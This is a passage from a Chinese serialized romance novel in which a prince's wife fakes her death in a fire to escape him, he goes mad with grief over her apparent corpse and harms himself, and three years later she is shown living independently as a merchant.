姜芙笑笑,未曾言语。
“嫂嫂不信?”薛蕊道,“你昏迷不醒那日,哥哥可是守了一夜呢,谁劝都不离开,母亲气急训斥了他一通也不管用。”
“母亲还说,不知嫂嫂给哥哥吃了什么迷药,让他如此死心塌地。”
姜芙端起茶盏慢饮一口,状似无意道:“四妹不用宽慰我,我知你三哥
心意,若他真在乎我,又岂会把苏姑娘带回府。”
“嫂嫂是在吃醋吗?”薛蕊轻笑,“嫂嫂误会三哥了,那个苏姑娘是三哥旧友的妹妹,旧友临终托孤,三哥才不得不把人带回来,三哥对她无半分男女情谊。”
有情无情姜芙还是看得出的,低头抿着茶没在搭腔。
罢了,他们说什么便是什么吧。
左右她今晚便会离开。
“嫂嫂的手怎么了?”薛蕊眼尖道。
“没事。”姜芙放下茶盏,用袖子遮掩,“只是不小心撞了下,无碍。”
“记得上药,不然三哥会心疼。”
“好。”
“对了,三哥来信说今日会回来,嫂嫂知晓吗?”薛蕊又道。
“今日?”姜芙看了眼婉儿,问,“今日几时?”
“最晚天黑定能回来,”薛蕊拉过姜芙的手轻轻拍了拍,“三哥走了几日,想必嫂嫂很想念,这下好了,三哥马上便回府,嫂嫂是不是很开心。”
姜芙:“是。”
没再逗留,姜芙离开,回了绿竹园。
婉儿有些慌,“王妃怎么办?”
“计划有变。”姜芙道,“咱们提前离开。”
“天还没黑,此时走,怕是不妥。”
“那等天黑后,立马放火,咱们趁乱离去。”
“是。”
天边最后一丝光亮隐退,整个院子被黑暗笼罩着,笼灯尚未亮起,绿竹园里静谧的可怕。
忽然,狂风骤起,紧接着自北屋冒出滚滚熊烟,有人高呼,“走水了,走水了,来人呀。”
“王妃还在里面,快点来救人。”
第三十三章 火海她,死了
薛慎今日诸事不顺,先是犯人昨夜逃跑,天明才重新抓到,还没来得及细问,他便咬舌自尽。
紧接着重要证物消失不见,派了几路人去寻,还未寻到。
又收到了天子密旨,要他即刻返回堰都商谈正事,原本,他是打算多停留两日的。
小八道:“主子命人打造的金簪晚些时候才能做好,现在走,那金簪怎么办?”
这也是薛慎犹疑的地方,本是想着带回去送给姜芙,可情况有变,怕是不能了。
“下次再来取吧。”薛慎道。
回堰都途中,路过首饰铺,他勒马停住,一跃从背上跳下,径直进了店里。
想起姜芙喜玉,他便选了一只玉手镯,命掌柜包好带回。
掌柜八面玲珑,最会做生意,含笑道:“公子这个应该是送给夫人的吧,我们这里还有其他配饰,可以一起送,公子看看有喜欢的吗?”
薛慎对女儿家的东西不甚精通,在掌柜的介绍下又买了些其他的,这才姗姗离去。
后面,但凡路过小镇,遇到姜芙喜欢的,他都会买上一些。
起初他们只是一个包裹,渐渐变多,一个两个三个……
小八嘴角抽了抽,他们哪里是出来办案的,分明是来采买的,看看这大包小包简直了。
他不禁想起了前两日的事,周府尹送来姬妾美眷,个个貌美如花,其中不乏比王妃风韵更甚的女子,可主子看都未看一眼,便把她们赶了出去。
还勒令她们再也不要出现。
像主子这般用情至深的人,他还是第一次见,其他王公贵族可都是左拥右抱,妻妾成群。
主子身边,可是除了王妃外再也一人。
“主子还要留着苏姑娘吗?”小八问道。
“时机未到,先留着。”薛慎睨着前方道。
“听闻苏姑娘一直找王妃麻烦,怕是王妃会误会,”小八提醒,“主子回府后还是好好同王妃解释一二,莫要让王妃寒了心。”
薛慎慢转头看过来,眼底晦暗不明。
小八心咯噔了一下,抱拳作揖,“是属下僭越了。”
薛慎冷声道:“本王同王妃的事本王自有考量,日后不许再提。”
小八喉结慢滚,“是。”
风吹来,他后背一阵凉。
他很早便知晓主子对王妃既爱又恨,可又舍不得放手,说是折磨王妃,不如说主子也在自己折磨自己。
爱情是把双刃剑,没人能全身而退。
是他错了,不应该揣摩主子的心意。
路上小八没再敢乱言,一直快马驰骋。
薛慎这一路上想了很多,想起了探子送来的一封封信笺,亦想起了姜芙带着泪的双眸。
每每碰面他都禁不住想欺负她,可每每对视,他又情不自禁会深陷其中。
爱恨交加,不能放手,但也不能让彼此好过。
他试过放下,可午夜梦回一张张面目狰狞的脸都在向他控诉,问他为何会放过仇人?
他在梦魇中挣扎沉沦,醒来后,心悸了一次又一次。
能做的,只能不放手,亦也不放过。
痛么,一起吧-
薛慎刚到堰都便被宫里的人拦住,太监道:“王爷,陛下有请。”
薛慎不知为何心很慌,“刘公公本王先回府一趟,稍后……”
“王爷不可。”刘公公道,“陛下还等着呢,王爷总不要让陛下久等不是,还是先同杂家入宫吧,稍后回府,也不会怎么样。”
薛慎蹙眉看向小八,“你先回府去看看。”
小八点头,“是。”
“八护卫也要同王爷一起入宫。”刘公公道,“这也是陛下的旨意。”
小八微顿。
薛慎不可能抗旨,道:“好。”
“王爷上马车吧。”刘公公指了指一侧的车辇。
薛慎一跃跳下马背,随即上了车,小八跟随其后也上了车。
天边最后一丝光亮消失,堰都城街道两旁亮起灯盏,马上要灯会了,尤记得他曾亲口许诺带她出来逛灯会。
只要她听话,带她出来也无妨。
薛慎下了决定,这次灯会一定带她出来。
马车路过了睿王府,大门闭着,听不到任何声音,向来大家都在用晚膳,薛慎要车夫快些赶路,早早见完天子,他们也好早点回府。
莫名的,就是想见姜芙一眼。
一眼足矣。
……
“阿慎,阿慎。”庆帝连着叫了两声,“想什么呢?”
薛慎回过神,颔首道:“陛下所言甚是。”
庆帝淡声道:“朕看你也乏了,不如今日先到这,明日早朝再议。”
薛慎:“臣遵旨。”
“对了。”庆帝道,“后日宫宴,记得带王妃前来。”
薛慎:“遵旨。”
“等等。”庆帝再次唤住他,“把那些都带回去。”
都是些赏赐。
“这?”
“赏给睿王妃的。”
薛慎撩袍跪地,“谢过陛下。”
庆帝挥挥手,“退下吧。”
小八见薛慎出来,大步迎上,“主子,出事了。”
薛慎神色微顿,“何事?”
“王妃整个下午都把自己关在绿竹园,谁敲门都不开。”小八低声道。
薛慎:“回府。”
路上小八又道:“王妃今日见了老夫人还有四小姐苏姑娘……”
薛慎手背上青筋鼓动,“都说了什么?”
“老夫人向来不喜夫人,说了些不太中听的话。”小八道,“苏姑娘也是。”
薛慎下颌紧绷,“派人把苏妙儿送去别苑。”
“可主子不说她还有用吗?”
“管不住那张嘴,有用也可变没用。”
马车刚驶入中街,马车被拦住,“王爷不好了,绿竹园走水,王妃她……”
薛慎掀帘,“你说什么?”
“绿竹园走水,王妃她……被困在里面。”
薛慎一脚踹翻来人,跳上马背驾马而去,风从耳边呼啸而过,眼前浮现的都是姜芙梨花带雨的样子。
她的哭,她的呻吟,她的求饶。
薛慎勒紧缰绳,他绝不允许她有任何事,绝不-
彼时王府乱成一团,下人们提着桶奔跑,管家在一旁吼
道:“快,快灭火,快灭火。”
薛蕊急的要冲进去,被拦住。
“小姐,您不能去啊。”
“放开我,我要去救三嫂。”
“火势太大,小姐进去会死的。”
刘氏拉住薛蕊,“好了四妹,你还是听管家的话吧,你便是真进去,也不可能把人救出来。”
“大嫂说的极是。”周氏道,“人各有命,强求不来的。”
苏妙儿看着滔天的花光发愣,久久没有说话,姜芙死了也好,这样她便可以做正妻了。
宋氏焦灼看着,刘妈规劝,“老夫人,火势太大,千万别伤着了,老奴还是扶老夫回房吧。”
“确定姜芙在房间里?”宋氏问道。
“下人们是这样讲的,说她回来后便一直在房间里。”刘妈道。
“那个婉儿呢?”
“陪在她身侧。”
宋氏想起什么,“她那些嫁妆呢?”
“老奴刚亲自看了看,都在。”刘妈道,“未曾有人动过。”
“看管好,以后这些都是王府的。”
“是。”
“告知下人,王爷若是回来问起此时不许多嘴。”
“好。”
片刻后,宋氏道:“扶我回房。”
刘妈:“是。”
薛慎赶回来时,绿竹园已经燃起一大片,冲天的火光似乎要把人烤焦。
周管家跑过来,“王爷。”
薛慎勒住他的衣襟,问道:“王妃呢?”
“王妃她……”周管家回,“还在房间里。”
“为何不救!”薛慎怒吼。
周管家跪地,“火太大,根本冲不进去。”
薛慎一把推开他,抬脚朝前跑去。
小八拦住,“主子不可,属下去找,定能把王妃救出。”
薛慎没听,推开他,没半分迟疑,直直冲进了火海中。
少时他对火有阴影,每次遇火便会头痛剧烈,今日也是如此,眼前的大火让他几乎要死掉。
但他不能停。
“阿芙,阿芙……”
薛慎在火海中穿梭,每一个房间都找过,依然没有找到姜芙的身影。
“阿芙,你在哪?”他再次呼喊道。
忽的,脚下似乎踩上了什么,他低头去看,是玉簪,没记错的话,这支玉簪是姜芙母生前送给她的。
她当命一样保护着。
玉簪在此,那她呢?
薛慎一脚踢开烧焦的桌椅,继续前行,火势太大,他身形猛烈晃了晃,咔哧声传来,下一瞬,头顶有东西掉落。
直直砸上。
薛慎倒了下去。
那只被烤红的手始终握着玉簪,簪子的一端插进了掌心中,溢出了血渍。
血渍在火海中格外醒目。
薛慎身上的锦袍被点燃,他拼劲全力睁开眼,顾不得流血的手,吃力朝前爬去,边爬边道:
“芙儿,芙儿你在哪?”
“芙儿,我来救你了。”
“芙儿……”
陷入到黑暗中时,他似乎看到有什么从眼前晃过,一闪即逝。
……
薛慎做了个很长很长的梦,梦里,滔天的火海,姜芙被大火笼着,身形一点点消失不见。
薛慎欲抓住她,可惜什么也没抓到。
他声嘶力竭呼唤,“芙儿。”
姜芙唇角扬起,未曾言语,就那么被大火吞没。
“芙儿!”薛慎惊醒。
宋氏的声音最先传来,“终于醒了,吓死母亲了。”
然后是其他人的声音。
“三哥,你没事太好了。”薛蕊道。
“是呀,三弟可吓死嫂嫂们了。”是周氏。
“三弟想吃什么,我命人去准备。”是刘氏。
薛慎一一看过去,谁都在,唯独缺了姜芙。
他问:“阿芙呢?”
宋氏抿抿唇,“她……”
“阿芙呢?”薛慎再次问道。
“三嫂她……”
“她在哪?”薛慎问宋氏,“阿芙到底在哪?”
宋氏:“儿,你要挺住,姜芙她…死了。”
第三十四章 疯魔杀了我
薛慎自是不信,“母亲莫要说笑,芙儿她怎么会。”
“儿呀。”宋氏轻拍他手,“母亲岂会诓你,阿芙她,此时便放在偏厅,你若不信,可去看。”
薛慎当然不会信,轻笑:“不,不可能。”
他对小八说道:“去请王妃过来。”
小八低头没动。
“快去呀。”薛慎又道。
“母亲知晓你不能接受,可人死不能复生,儿要保重。”宋氏规劝道。
丫鬟端来汤药,“王爷。”
薛慎一把挥掉,“让你们把王妃找来,还愣着干什么!”
众人吓得大气不敢出,纷纷跪地。
“儿别气,别岂。”宋氏安抚,“阿芙真的没了。”
薛慎一瞬不瞬凝视着宋氏,“母亲说什么?”
“阿芙死了。”宋氏道。
薛慎:“……”
须臾,薛慎怒吼,“不,不可能。”
他掀开被子,跌跌撞撞下了床榻,外衣和鞋子都没穿,踉跄着跑出了房间。
隐隐,他听到了阿芙的声音,“夫君,妾身在这。”
前方出现一道迤逦身影,着一身粉色罗裙,笑语嫣然,指着头上的牡丹花问他好不好看?
他急切跑过去,人影没了。
下一瞬,又出现在几步远的地方。
招招手,“夫君,愣着干嘛呀,快来抓芙儿。”
姜芙朝前跑去,薛慎亦趋亦步跟着,她像花蝴蝶般肆意起舞,笑声传遍整个庭院。
“夫君,芙儿在这。”
“嘻嘻,在这。”
“快来,芙儿在这。”
薛慎除了姜芙的声音外听不到其他任何声音,他跟着那道影子从廊下到了偏厅。
偏厅里摆放着棺木,下人跪了一地。
他慢走过去,质问:“你们这是做什么?”
下人颤颤巍巍道:“王爷,王妃她……”
“芙儿她怎么了?”薛慎扣住那人衣襟,强行把他提起,“讲。”
下人:“王妃葬身在了火海中……”
薛慎松开后,朝后退了两步,他不信,不信姜芙会死,大步上前,猛力把棺盖推开,里面放着一具烧焦的尸身,面目全非,除了人形外,根本看不出她是谁。”
不,这不是。
薛慎极力否认,甚至有一丝窃喜,如此这般,肯定不是姜芙。
可下一瞬,他眸光定格在她左手的手镯上,这是姜芙经常戴的那支,也是她娘亲的遗物。
除了镯子外,还有她头上的簪子,即便已经发黑了,也能看出是她惯常戴的那支。
下人递上半个香囊,说是从火堆里捡出来的,薛慎认得那个香囊,是姜芙的。
她一直佩戴在身上。
种种迹象表明,眼前烧焦的尸身就是姜芙。
他的芙儿,真的死了。
“不——”薛慎吼完,喷出一口血,随即再次陷入到了昏迷中。
那个梦境再次出现,姜芙被困在火海中,他去救,不得其入,只能眼睁睁看着她被火苗吞没。
他听到她在笑,骂他无情无义,梦里的他心碎了一次又一次。
后半段梦境下起了雨,雨水浇灭了大火,他冲了进去,只寻到了一具烧焦的尸身。
他看到了簪子和玉镯,那是姜芙的。
他抱着尸身痛哭流涕,“芙儿,芙儿你别走,求你别走。”
这个梦反复循环出现,每次都是他赶回来时大火已经燃起,他想去救她,又被众人拦住。
他挣脱不开,只能眼睁睁看她死掉。
他的阿芙,死了一次又一次。
他也吐了一次又一次血。
……
这是薛慎清醒后的第二日,自从昨日醒来,他便把那具烧焦的尸身抱回了房间,还给她穿上了姜芙昔日最喜欢的罗裙。
她没了头发,他佯装还在,拿着梳子给她梳发。
窗户被东西掩着,只有零星的光透进来,拂到他脸上,衬得他五官越发深邃清冷。
整个人像是浸在冰窖中,可话语声却是从未有过的温婉。
他道:“之前芙儿最喜欢的便是我为你梳发,今日太忙,一直不得空闲,现下好了,咱们有大把的时间来做,不知这个力道可好?”
“应该是好的,你说过的,我怎么样都是好的。”
他修长分明的手指一下一下梳着,重复地做着一个动作。
宋氏从窗棂缝隙里看过来,吓得脸色都白了,她问身侧的大夫,“我儿如何?还能治好吗?”
大夫轻捋胡须,沉声道:“王爷这是癔症了,怕是不太好治。”
“那怎么办?”宋氏问道。
“老夫人莫急,不
好治不等于不能治,老夫有个方法倒可以一试。”
“什么方法?”
“针灸,不过若想施针,得先帮王妃的尸身抬走才行。”
宋氏哪里是不想抬走,而是根本没机会,“王爷不允许。”
“那便不好办了。”大夫道,“老朽无能,夫人还是另请高明吧。”
言罢,抱拳作揖后离开。
“诶,大夫,大夫,你别走吧。”
大夫眨眼消失在大门后。
刘妈道:“夫人这已经是城中最后一名大夫了。”
之前能请的都请了,可都没有办法。
“要去请宫里的太医吗?”
“不可。”宋氏道,“慎儿这个样子,怎么能让宫里的人知道,先瞒着吧。”
刘妈:“怕是瞒不了几日。”
“能瞒多久瞒多久。”宋氏叹息完,冷声道,“说到底都怪姜芙,临死还祸害慎儿,我只恨不能把她千刀万剐。”
说到姜芙,刘妈想起什么,“对了,姜家那边?”
“先不要讲。”宋氏道。
“那日后他们追问起来怕是不好善终。”
“商贾之家能敢怎么样,无妨。”宋氏从来没把姜家放在眼里,包括姜芙,她的死活,她从不关心。
她只在乎一个人,便是薛慎。
“药呢?”
“马上便好。”
丫鬟从来汤药,薛慎看都未看,一把掀翻,转头继续同姜芙谈天。
“我给你画眉好不好?”他含笑道,“你不说话就当你答应了。”
他找出眉笔,在尸身上画不停,眼神柔情似水,好像眼前的不是烧焦的尸身,是真的姜芙。
“阿芙,看看喜不喜欢?”他找来镜子给她看。
镜子中映出狰狞的面容,皮肤黑焦,眼睑和眼珠子已经没了,更别说是那双好看的柳眉。
鼻梁也已塌陷,唇上也没了血肉,只剩骨骼。
很多地方黏连到一起,比鬼还吓人。
已经有好几个下人因为这具烧焦的尸身昏死过去了,偏偏失心疯的薛慎像是什么也看不到,眼眸里只有爱意。
“之前都是我不对,我错了,日后我会改。”
“你喜欢画眉,我日日给你画。”
“你喜欢看雨还是看雪,我都陪着。”
“芙儿,别生我的气了好不好?”薛慎执起她的手,在烧焦的手背上亲了下。
这一举动,让窗外的宋氏恶心不行,她执帕掩唇,干呕出声。
刘妈扶住她,“老夫人没事吧?”
宋氏:“无妨。”
实在不愿多看一眼,须臾,刘妈搀扶着她离开。
下人们也不敢逗留,纷纷去了其他地方。
薛慎扬唇笑笑,“芙儿,你最喜欢听我弹琴,我这便弹给你听。”
从晌午谈到了天黑,薛慎的手指上都是血渍,小八几次劝他,他都不停。
小九冲进来,跪在地上,“主子,您不能在这样了,您会死的。”
薛慎仿若没听到,继续弹着,手指的血顺着指尖流淌下来,在地上漾开。
琴弦断了他才被迫停下,“芙儿,明日我再弹给你听,来,天色已晚,咱们用膳后就寝吧。”
他一口没吃,一直在喂床上的尸身。
“芙儿,乖,张嘴。”
“为何不张,是不喜欢吗?”
“好,咱们换一个。”
“这是你最喜欢的粥,乖,吃点。”
一碗粥都洒在了床榻上。
薛慎蹙眉:“芙儿别生气,我马上清洗。”
他拿过帕巾擦拭,“我保证,我日后不会再惹你生气了,原谅我这一次吧。”
他对着尸身说了很多好话,都是从来没有讲过的。
“我日后都听你的,你要如何便如何。”
“只要你答应我,不要藏起来便好。”
“对了,你喜欢花灯是不是?”
“明日我带你去看好不好?”
所有人都以为他在说笑,谁知他还真带尸身去看了,马车内,他轻轻揽着她,“你看,那个兔子花灯漂亮吗?”
“还有那个狐狸花灯。”
“那里还有小鱼花灯。”
“咱们都买下来好不好?”
尸身以一种诡异的姿势被他揽着,空洞的眼睛直直盯着某一处,是比狰狞还恐怖的样子。
风吹拂进来,布帘荡起,街上的人无意中看到,吓得跌坐在地上,大声道:“鬼,鬼呀。”
一时间,关于睿王府马车内有鬼的传闻在大街小巷散开。
宋氏听后,差点昏厥。
她道:“必须赶快把姜芙葬了。”
刘妈:“可王爷他……”
“想办法把他偏出去,然后偷偷葬掉,他总不能真去把坟抛开。
刘妈觉得也是,问题到底怎么样把薛慎骗出去。
薛蕊第一个去的,同薛慎说了很多,还假装身子不适,求他带她去找大夫。
薛慎理都未理。
薛蕊不行,后面宋氏亲自出马,让刘妈带话,就说她快死了,要见薛慎一面。
薛慎去了,不过不是一个人去的,他抱着姜芙的尸身一起去的。
下人们纷纷退避。
宋氏本来只是假装头疼,可看到那具恐怖的尸身后,头当真疼了起来。
真是造孽呀。
薛慎没停留太久,起身离开。
之前两日他都是坐在床榻边看着姜芙睡,今日他同她躺在了一起,锦被下,他紧紧抱着尸身,说了很多以前的趣事。
是少时的。
他们的初遇,还有他被父亲责罚时她出手相救的事。
眼泪不知不觉流淌下来,他哽噎道:“芙儿,都是我的错,你杀了我好不好?”
他从枕头下摸出匕首,放到尸身手中,握着,一起朝自己胸口刺去。
不是一刀进入,而是慢慢推进,力道全凭他自己把控,刀子渐渐没入道身体里。
他竟不觉得一丝痛,脸上淌着笑意。
“真好,我们又可以在一起了。”
第三十五章 追妻芙儿没死
最先发现不对劲的是小八,等了许久都未曾等到回应,情急之下,他一脚踢开门,急匆匆冲进了里间。
床榻上都是血,有的已经滴落到地上。
薛慎脸色惨白的闭着双眸,不经意看过去好像死了一般。
小八伸手探了探他的鼻息,确定还有气息后点了他身上的几个穴道,防止血液继续流淌。
随后跑出去唤人:“快去请大夫。”
宋氏赶来,看到薛慎直挺挺躺在榻上,脸上没有丝毫血色,差点昏厥,她道:“发生了何事?”
小八已经先一步把匕首藏了起来,低头道:“王爷思念王妃过重,又昏了过去。”
宋氏已经嗅到了血腥味,蹙眉道:“他是不是有做傻事了?”
小八垂首,未曾言语。
“他这是不想让我活了。”宋氏哭哭戚戚。
苏妙儿想上前探望,被小八制止去,“还请姑娘离开此处。”
“我不走。”苏妙儿道,“我是王爷亲自带回来的,如今王爷生了病,我理应照看。”
小八知晓薛慎的心思,冷声道:“王爷有我等照看,不需要劳烦姑娘。”
“小八,你别以为王爷器重你,你便可对我如此无理,小心王爷醒来治你个不敬之罪。”
“王爷要治罪属下认便是,还请苏姑娘赶快离开。”
苏妙儿见小八坚持,唤了声:“老夫人。”
宋氏现下哪里有空闲理会她,摆摆手,“退下吧。”
苏妙儿心不甘情不愿离开,走前还剜了小八一眼。
小八不为所惧,命人把房门关上。
这一夜,折腾了好久大夫才把人从鬼门关上救回来,天明时薛慎醒了,还是那副疯癫的模样,一直在念着姜芙的名字。
苏妙儿不死心,趁人少又再度过来,被守门的拦住,“苏姑娘还是回吧 。”
“不行,我今日一定要见到王爷,你们让开,我要进去。”
“不可。”守卫道,“此处任何人都不得随意擅入,违令者斩。”
“王爷,王爷,我是妙儿呀。”苏妙儿扯着脖子喊。
小八出去后,直接命人把苏妙儿赶了出去,还吩咐道:“不许任何人随意进出。”
守卫:“是。”
醒来后的薛慎继续做着同一件事,为尸身添妆画眉。
“我的芙儿真美。”他道。
小八试图唤醒薛慎,但不管用,他根本听不到,嘴里一直吐着疯言疯语。
消息很快从王府传到了外面,大街小巷都在议论,说睿王因王妃殁了,得了失心疯,每日对镜自画。
更甚者还传出,他自残,人差点没救过来。
姜芙扶了下帽檐,旁边婉儿低声道:“姑娘,咱们走吧?”
姜芙点头,“好。”
两人起身离开,随后上了停靠在暗处的马车。
婉儿摘下帽子,说道:“小姐,王爷真疯了吗?”
姜芙也顺手摘下帽子,接过茶盏慢饮一口,“传言不可信,或许他是在引我们出来。”
“可江公子不是放了尸身吗,按理说王爷不该怀疑才对。”
“只有一具尸身,可你也不见了,薛慎聪慧,很快便能猜出什么。”
“那怎么办?”
“今夜便离开。”
姜芙原本是打算那夜趁乱离去的,谁知快走到城门时出了纰漏,换防的官兵不知何故严防死守,那夜一人都未曾放行。
第二日,天未亮,她们便到了城门,被告知今日也不能放行。
蹉跎了几日,最后她只能按照江宸说的做,跟着他的车队一起离开。
今夜车队便会离去,只要离开了堰都,山高皇帝远,随她做什么,薛慎都不会知晓。
“小姐,咱们真的能离开吗?”
“能。”姜芙道,“一定能。”
到了约定的时间,几人在小巷尾碰头,随即上了马车,车子缓慢驶到城门前。
守城的官兵拦住,“腰牌呢?”
江宸给了男人使了个眼色,管事拿出腰牌,随后也在官兵手中塞了些碎银。
“官爷,我们只是普通的商人,求您行行好,放我们出城。”
“车上装的什么?”
“是布匹。”
管事的从马车上搬出一匹,递给士兵,“这是小人孝敬您的。”
守城的官兵挥了挥手,“车上坐着谁?”
“我家公子和夫人。”
“让他们下来。”
“我家夫人染了瘟疫,怕是……”
“瘟疫?”官兵急忙连退几步,厌烦道,“真晦气,快走快走。”
“谢过官夜。”
马车缓缓朝前驶去。
姜芙提着的心刚要放下,隐约听到后方出来马蹄声。
“拦住他们。”那人高呵道。
姜芙听出那是小八的声音,她说:“小八。”
江宸拍了拍她的手,“娘子莫慌。”
言罢,小八被黑衣人拦住了去路。
守城的官兵朝后看,一直没看到人来,管事道:“官爷我们可以走了吗?”
“走吧走吧。”官兵低斥,“别啰嗦,快点走。”
待他们一出去,城门“轰”一声关上。
姜芙再次听到了马蹄声,不过慢了一步,他们已经成功出城。
……
宋氏不能容忍姜芙的尸身在王府中逗留,下了死令,今日就得埋。
白日不行,那便夜里,总之必须把人埋掉。
薛慎日日抱着尸身睡,要想越过他把尸身埋了根本不可能,思来想去,只能先让他睡过去,然后再行事。
从医馆找来最强的药,一碗下肚人便沉睡了过去。
随后把尸身扔到了马车上,带去空旷的地方匆匆埋掉,直到管家来报,说一切都弄妥,宋氏提着的心才放下。
刘妈道:“老夫人,这下不用担心了。”
宋氏轻叹,“希望慎儿早点清醒过来。”
刘妈:“夫人放心,王爷很快便会痊愈的。”
醒来后的薛慎见没了姜芙,大吼大叫,一通砸,最后只着亵衣跑了出去。
小八去追,慢了一步,他先出了府。
须臾,天色突变,下起了大雨。
薛慎深一脚浅一脚的跑着,数次跌倒又爬起,刚刚长好的伤口再度裂开,白色亵衣上都是血渍。
雨滴落到他身上,血渍散开,像是在胸口看出一朵嗜血花。
他顾不得疼,逢人便问:“见到我的芙儿了吗,见到我的芙儿了吗?”
他的样子比鬼还难看,吓得路人纷纷退避,“没,没见到。”
薛慎又抓住一个人,“见到我的芙儿了吗?”
那人喊了声:“疯子。”挣脱开跑远了。
前面有个女子着一身粉裙,正在慢慢走着,薛慎眼眸亮起,“芙儿。”
他大步追了上去,一把拉过女子,“芙儿。”
“谁是芙儿,你有病呀。”女子尖叫出声,“救命啊,救命啊。”
“周郎,救我。”
那个叫周郎的男子快步跑了过来,对着薛慎一通乱踢,“敢调戏我娘子,不想活了,打死你,打死你。”
薛慎蜷缩在地上,任男子踢打,口中不停地念着,“芙儿,芙儿,你在哪?你在哪?”
“出来,好不好?”
直到小八赶过来,男子才停住。
薛慎抓住小八的衣摆,“芙儿在哪,带我去见他。”
小八扶起薛慎,“好,属下带你去。”
那是一座新坟,周围都是杂草,坟头不高,薛慎跪在坟前,声嘶力竭,“芙儿,芙儿……”
小八知晓劝说无用,便也没再劝,站一旁守着。
薛慎徒手刨坑,“芙儿,你出来,出来,我带你回家,乖,跟我回家。”
半晌后,十根手指上都溢出血渍,薛慎还在抓着,小八看不下去,制止,“主子,王妃她走了。”
“不,芙儿没走,她没走。”
“她走了。”小八道,“求您让王妃走吧。”
“我说了,她没死。”薛慎一把推开小八,“滚。”
小八:“可王妃真的死了,她真的死了。”
幻想无情被戳穿,薛慎清醒了过来,踉跄跌坐在坟墓前,“芙儿不会离开我的,她不会离开我的。”
“芙儿,芙儿,你出来,出来!”
薛慎再次抓刨,直到喷出一口血才停下,身子一个趔趄倒了下去,满脸都是泥土。
“芙儿,你好狠的心。”
……
清醒后的薛慎日日都是满身伤痕,有被别人打伤的,有自伤的,宋氏每次看到都心疼不已。
“儿呀,你这样母亲真的很难过。”
薛慎冷声道:“母亲还有其他话要讲吗,没有的话,我还有是要去做。”
“你现下连话都不愿同母亲讲了吗?”宋氏问。
“儿说了,是有公务。”薛慎道。
“公务公务,你别以为我不知道,”宋氏道,“你是不是又要去姜芙?她都死了一年了,你为何就是放不下她!”
薛慎:“芙儿没死。”
“那具尸身你也看到了,怎么会没死,你到底什么时候才能清醒过来?”
“我现在就非常清醒。”
“不,你一点都不清醒,你如是清醒,便不会把妙儿赶出来,人是你带回来的,你该给人家一个名分了。”
“我的妻子只有芙儿。”
“好,不要正妻,妾室也可,你今夜便把妙儿收了。”
薛慎:“我只有芙儿一个妻子。”
宋氏:“……”
一年来,他们数次争吵,但都无果,宋氏扶额,“你是想气死我。”
薛慎站起身,“儿还有事。”
言罢,走了出去。
宋氏还同之前一样,鬼哭狼嚎个不停,薛慎未曾停留,径直出了府,驾马去了郊外。
他想姜芙了,想立刻看到她。
坟墓比第一次看到的要好很多,周围没了杂草,种着一片的牡丹花,风吹来,香气四溢。
薛慎坐在坟墓前,温声道:“芙儿,想我了吗?我知道你想我了,我也想你了。”
“你看,牡丹花都开了,喜欢吗?”
说了没两句,他掩唇一阵咳,掌心里似乎有什么,他低头去看,是血。
一年来每次咳后都是如此,太医说了,他
这是心结,要好生疗养才行,可没了芙儿,他死活又有什么关系。
其实死了也好,这样他便可以去见芙儿了。
……
似乎,前几日来还是春日,眨眼到了秋日,再定睛去看,已经到了冬日。
薛慎每次来都是穿的同一件衣衫,芙儿说过,他穿这件最好看,她喜欢,那他便一直穿给他看。
小八冻得牙齿打颤,欲把挂在臂弯中的氅衣给薛慎披上,被他制止,“芙儿不喜欢我穿氅衣,这样便好。”
小八:“下雪了,王爷会冻坏的。”
薛慎不在意道:“冻坏了又如何。”
“王妃也不希望王爷如此。”小八劝说,“还是穿上吧。”
薛慎摆手,最后也没穿,就那样在雪里跪了几个时辰,天明到天黑,一年又一年。
这是宋氏提议给薛慎纳妾的第三年,可他还是那般,油盐不进。
宋氏气急,“我没你这样的儿子。”
薛慎起身离开,直到无人能看见,他身形狠狠晃了下,小八扶住他,“王爷。”
薛慎没忍住喷出一口血,旁人看到血会惊慌,他只是笑了笑,低喃:
“芙儿,等我,我很快便去找你。”
第三十六章 重逢三年后
姜芙离开堰都的第一年,谢绝了江宸的邀请,先是带着婉儿回了一趟江北,随后又南下去了闵州的一个叫凤凰山的小镇。
起初停留只是觉得风景怡人,适合居住,后来渐渐喜欢上了那里的风土人情。
姜芙出身商贾之家,耳读目染,对做生意有一套自己的感悟,在凤凰山落脚的那年开了茶社。
之后又开了客栈。
迎来送往生意慢慢好起来,她又开了首饰店,胭脂水粉店。
一个人顾不过来,便请了几个年老的掌柜帮着一起操持,日子过得如鱼得水。
这三年,她一直同江宸保持着联系,隔一几日便会收到他的来信。今日再次收到他的信笺,不似往昔那般欢愉。
婉儿问道:“小姐,出了什么事吗?”
姜芙把信笺递给她。
婉儿接过,一一读完,“老爷病重?”
姜芙:“嗯。”
“那小姐要回去吗?”婉儿问道。
她们也只是最初的那年回去看过一次,当时姜父见到姜芙并未多开心,反而质问她为何会在此?
为何不见姑爷?
姜芙把事情来龙去脉细说分明,本以为父亲会心疼她,岂料没有。
父亲破口大骂,甚至还命人把她关了起来,若不是江宸的人施救,大抵她真的会再次被送回堰都。
按理说他的死活她应不予理会才对,可到底是子女,做不到真真正正的不相干。
“让咱们的人先去趟江北。”历经种种,姜芙已不似之前那般,她道,“探完回来再决定。”
婉儿放下信笺,“奴婢这便去办。”
姜芙出来驾到,江宸不放心,派了十来个人暗中守护她,后来那些人渐渐被她所用,成了她的人,专门为她搜集情报。
这也是为何三年来她能避开堰都那边的根源所在,但凡薛慎做出什么,她都会第一时间得到消息,以此避开碰面。
婉儿去去便回,手上拎着刚出炉的桂花糕,姜芙问道:“哪来的?”
婉儿道:“隔壁酒楼的老板送的。”
她把桂花糕放下,低喃道:“那个老板也真是奇怪,隔三岔五便差人来送吃食,去见他吧,又闭门不见,真是个怪人。”
姜芙:“每个人都有自己的处事方法,不见便不见吧,回头你把酿好的桂花酒送过去。”
“人家就是卖酒的,会看上咱们送的桂花酒吗?”
“多少是个心意,看不上他大可扔了。”
谈完这些,姜芙问道:“让你办的事呢?”
“哦,已经命他们去查了。”婉儿道,“奴婢总觉得这事有蹊跷,可别又同上次一样,还是打探好了再行事。”
姜芙还是信江宸的,父亲生病的事应该不会有假。
“有了消息立刻通知我。”
“是。”婉儿问,“这桂花糕?”
姜芙:“我还有账本需要看,你吃吧。”
每次送来的吃食都会进了婉儿的肚子,这次依然是。
婉儿津津有味吃着,“小姐真不尝一口吗?”
姜芙伏案看账本,头都没抬,淡声道:“不了,你吃。”
随后又提醒她,“别吃太急,小心噎着。”
言罢,婉儿一阵咳。
姜芙摇摇头,继续看账本。
